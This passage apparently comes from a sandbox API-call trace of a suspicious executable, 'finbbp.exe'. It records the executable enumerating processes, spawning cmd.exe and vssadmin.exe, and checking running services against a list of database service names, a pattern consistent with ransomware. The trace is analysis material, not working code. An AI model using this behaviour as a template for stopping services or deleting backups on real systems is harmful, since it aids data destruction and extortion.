cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0254.248] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0254.248] Process32NextW (in: hSnapshot=0x540, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.248] lstrlenW (lpString="svchost.exe") returned 11 [0254.248] Process32NextW (in: hSnapshot=0x540, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.249] lstrlenW (lpString="svchost.exe") returned 11 [0254.249] Process32NextW (in: hSnapshot=0x540, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x228, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0254.249] lstrlenW (lpString="dwm.exe") returned 7 [0254.249] Process32NextW (in: hSnapshot=0x540, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x47, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.250] lstrlenW (lpString="svchost.exe") returned 11 [0254.250] Process32NextW (in: hSnapshot=0x540, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.250] lstrlenW (lpString="svchost.exe") returned 11 [0254.250] Process32NextW (in: hSnapshot=0x540, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.250] lstrlenW (lpString="svchost.exe") returned 11 [0254.251] Process32NextW (in: hSnapshot=0x540, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.251] lstrlenW (lpString="svchost.exe") returned 11 [0254.251] Process32NextW (in: hSnapshot=0x540, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.251] lstrlenW (lpString="svchost.exe") returned 11 [0254.251] Process32NextW (in: hSnapshot=0x540, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.252] lstrlenW (lpString="svchost.exe") returned 11 [0254.252] Process32NextW (in: hSnapshot=0x540, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.252] lstrlenW (lpString="svchost.exe") returned 11 [0254.252] Process32NextW (in: hSnapshot=0x540, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.253] lstrlenW (lpString="svchost.exe") returned 11 [0254.253] Process32NextW (in: hSnapshot=0x540, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.253] lstrlenW (lpString="svchost.exe") returned 11 [0254.253] Process32NextW (in: hSnapshot=0x540, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.254] lstrlenW (lpString="svchost.exe") returned 11 [0254.254] Process32NextW (in: hSnapshot=0x540, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0254.254] lstrlenW (lpString="spoolsv.exe") returned 11 [0254.254] Process32NextW (in: hSnapshot=0x540, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.255] lstrlenW (lpString="svchost.exe") returned 11 [0254.255] Process32NextW (in: hSnapshot=0x540, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0254.255] lstrlenW (lpString="audiodg.exe") returned 11 [0254.255] Process32NextW (in: hSnapshot=0x540, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0254.256] lstrlenW (lpString="sihost.exe") returned 10 [0254.256] Process32NextW (in: hSnapshot=0x540, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.256] lstrlenW (lpString="svchost.exe") returned 11 [0254.256] Process32NextW (in: hSnapshot=0x540, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0254.257] lstrlenW (lpString="taskhostw.exe") returned 13 [0254.257] Process32NextW (in: hSnapshot=0x540, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0254.257] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0254.257] Process32NextW (in: hSnapshot=0x540, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0254.257] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0254.257] Process32NextW (in: hSnapshot=0x540, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0254.258] lstrlenW (lpString="Memory Compression") returned 18 [0254.258] Process32NextW (in: hSnapshot=0x540, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x958, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0254.258] lstrlenW (lpString="explorer.exe") returned 12 [0254.258] Process32NextW (in: hSnapshot=0x540, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0254.259] lstrlenW (lpString="SearchUI.exe") returned 12 [0254.259] Process32NextW (in: hSnapshot=0x540, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0254.259] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0254.259] Process32NextW (in: hSnapshot=0x540, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0254.260] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0254.260] Process32NextW (in: hSnapshot=0x540, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0254.260] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0254.260] Process32NextW (in: hSnapshot=0x540, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0254.260] lstrlenW (lpString="finbbp.exe") returned 10 [0254.261] Process32NextW (in: hSnapshot=0x540, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xda4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0254.261] lstrlenW (lpString="cmd.exe") returned 7 [0254.261] Process32NextW (in: hSnapshot=0x540, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0254.261] lstrlenW (lpString="conhost.exe") returned 11 [0254.261] Process32NextW (in: hSnapshot=0x540, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0254.262] lstrlenW (lpString="vssadmin.exe") returned 12 [0254.262] Process32NextW (in: hSnapshot=0x540, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0254.262] lstrlenW (lpString="consent.exe") returned 11 [0254.262] Process32NextW (in: hSnapshot=0x540, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0254.263] CloseHandle (hObject=0x540) returned 1 [0254.263] Sleep (dwMilliseconds=0x1f4) [0254.825] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41aa8f8 [0254.825] EnumServicesStatusExW (in: hSCManager=0x41aa8f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0254.826] GetLastError () returned 0xea [0254.826] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1c4a) returned 0x4205e48 [0254.826] EnumServicesStatusExW (in: hSCManager=0x41aa8f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4205e48, cbBufSize=0x1c4a, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4205e48, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0254.827] CloseServiceHandle (hSCObject=0x41aa8f8) returned 1 [0254.827] lstrlenW (lpString="Appinfo") returned 7 [0254.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0254.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0254.828] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0254.828] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0254.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0254.828] lstrlenW (lpString="AppXSvc") returned 7 [0254.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0254.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0254.828] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0254.828] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0254.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0254.828] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0254.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0254.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0254.828] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0254.828] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0254.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0254.828] lstrlenW (lpString="Audiosrv") returned 8 [0254.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0254.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0254.828] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0254.828] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0254.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0254.828] lstrlenW (lpString="BFE") returned 3 [0254.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0254.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0254.828] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0254.829] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0254.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0254.829] lstrlenW (lpString="BITS") returned 4 [0254.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0254.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0254.829] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0254.829] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0254.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0254.829] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0254.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0254.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0254.829] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0254.829] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0254.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0254.829] lstrlenW (lpString="CDPSvc") returned 6 [0254.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0254.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0254.829] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0254.829] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0254.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0254.829] lstrlenW (lpString="ClickToRunSvc") returned 13 [0254.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0254.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0254.829] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0254.829] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0254.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0254.829] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0254.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0254.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0254.830] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0254.830] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0254.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0254.830] lstrlenW (lpString="CryptSvc") returned 8 [0254.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0254.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0254.830] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0254.830] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0254.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0254.830] lstrlenW (lpString="DcomLaunch") returned 10 [0254.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0254.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0254.830] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0254.830] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0254.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0254.830] lstrlenW (lpString="DeviceAssociationService") returned 24 [0254.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0254.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0254.830] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0254.830] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0254.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0254.830] lstrlenW (lpString="Dhcp") returned 4 [0254.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0254.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0254.831] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0254.831] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0254.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0254.831] lstrlenW (lpString="Dnscache") returned 8 [0254.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0254.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0254.831] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0254.831] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0254.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0254.831] lstrlenW (lpString="DPS") returned 3 [0254.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0254.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0254.831] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0254.831] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0254.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0254.831] lstrlenW (lpString="DusmSvc") returned 7 [0254.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0254.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0254.831] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0254.831] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0254.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0254.831] lstrlenW (lpString="EventLog") returned 8 [0254.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0254.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0254.832] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0254.832] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0254.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0254.832] lstrlenW (lpString="EventSystem") returned 11 [0254.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0254.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0254.832] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0254.832] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0254.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0254.832] lstrlenW (lpString="FontCache") returned 9 [0254.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0254.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0254.832] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0254.832] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0254.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0254.832] lstrlenW (lpString="gpsvc") returned 5 [0254.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0254.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0254.832] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0254.832] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0254.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0254.832] lstrlenW (lpString="iphlpsvc") returned 8 [0254.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0254.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0254.833] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0254.833] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0254.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0254.833] lstrlenW (lpString="KeyIso") returned 6 [0254.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0254.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0254.833] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0254.833] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0254.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0254.833] lstrlenW (lpString="LanmanServer") returned 12 [0254.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0254.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0254.833] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0254.833] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0254.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0254.833] lstrlenW (lpString="LanmanWorkstation") returned 17 [0254.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0254.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0254.833] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0254.833] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0254.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0254.833] lstrlenW (lpString="lfsvc") returned 5 [0254.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0254.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0254.833] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0254.833] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0254.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0254.834] lstrlenW (lpString="lmhosts") returned 7 [0254.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0254.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0254.834] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0254.834] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0254.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0254.834] lstrlenW (lpString="LSM") returned 3 [0254.834] lstrcmpiW 